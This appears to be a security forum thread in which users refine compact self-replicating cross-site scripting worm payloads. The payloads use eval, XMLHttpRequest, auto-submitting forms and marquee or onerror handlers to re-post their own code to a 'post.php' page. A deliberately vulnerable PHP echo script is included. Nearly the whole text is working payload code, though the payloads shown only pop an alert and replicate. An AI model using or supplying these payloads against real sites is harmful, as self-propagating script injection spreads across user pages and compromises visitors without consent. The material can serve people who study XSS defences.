Paid Advertising
The only web 2.0 trial, what's wrong:Quote
.mario
(...)I expect you to recognize the error in a second(...)
p="alert('XSS');x=/*@cc_on!@*/1?new XMLHttpsRequest:new ActiveXObjekt('Microsoft.XMLHTTP');x.open('post','post.php');x.setRequestHeader('content-type','application/x-www-form-urlencoded');x.send('content=p=\"'+p+'\";'+p);if(!i){e(p);i=1}"; e=eval;e(p)
Good point! Because all implementations with <form> postings might loop on the form page, replicating itself indefinitely ...Quote
.mario
that makes sure it won't loop on the first site it's executed
<script>eval(y="alert('XSS');q=String.fromCharCode(34);(x=new XMLHttpRequest()).open('POST','post.php');x.send('content='+encodeURIComponent('<script>eval(y='+q+y+q+')</sc'+'ript>'))")</script> (without setting the content-type, is this really needed when properly encoded?)
<html><body>
<form id=z><INPUT name="content"><SCRIPT>with(z)alert('XSS',submit(action=(method='post')+'.php',content.value='<form id=z>'+innerHTML.substr(0,148)))</SCRIPT>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>blah</title>
</head>
<body>
<div id="container">
<form id=z><INPUT name="content"><SCRIPT>with(z)alert('XSS',submit(action=(method='post')+'.php',content.value='<form id=z>'+innerHTML.substr(0,148)))</SCRIPT>
</div>
</body>
</html>
p="alert('XSS');x=new XMLHttpRequest;x.open('post','post.php');x.send('content=p=\"'+p+'\";');eval(p)";eval(p);<script>f=function(){alert("XSS");(x=new XMLHttpRequest).open("post","post.php");x.send("content="+encodeURIComponent("<script>f="+f+";f()</sc"+"ript>"));};f()</script>
Nice features:
Quote
[url=http://www.w3.org/TR/XMLHttpRequest/#send
W3C XMLHttpRequest.send(data) specs link[/url]]Authors are strongly encouraged to ensure that they have specified the Content-Type header via setRequestHeader() before invoking send() with a non-null data argument.
<form id=z><INPUT name=content><SCRIPT>with(z)alert('XSS',submit(action=(method='post')+'.php',content.value='<form id=z>'+innerHTML.substr(0,146)))</SCRIPT>
And what happened after one FF run? Due to the innerHTML & FF HTML fixing the quotes on name="content" back on, that was the discussion for a few posts long ... Please test all code before making statements.. (ok, I still have to do some testing with the Content-Type stuff ;-)Quote
digi7al64
in my testing i could remove the " around the content name
<script>f.content.value=document.body.innerHTML+alert("xss");f.submit();</script>
(">)<script>f.content.value=document.body.innerHTML+alert('xss');f.submit();</script>
<html> <body><form name="f" action="post.php" method="post"><input name="content" /></form></body> </html>
<?php echo $_REQUEST['content']; ?>
x=document.forms[0];for(i=0;i<x.elements.length;++i){x.elements.value=escape(document.body.innerHTML+alert('xss'));}x.submit();
<form><input name=content type=image onerror="f=form;i=f.innerHTML;type='hidden';alert('XSS');f.action=(f.method='post')+'.php';value=escape('<form>'+i);submit()" src>
<form name=content><marquee onstart="content.value=document.body.innerHTML+alert('xss');content.submit();">
or:
<form name="i"><input name="content"><marquee onstart="content.value=document.body.innerHTML+alert('xss');i.submit();">
<form method=post action=post.php name=i><input name=content><script>content.value=document.body.innerHTML+alert('xss');i.submit();</script>
<script>f.content.value=document.body.innerHTML+alert('xss');f.submit();</script>
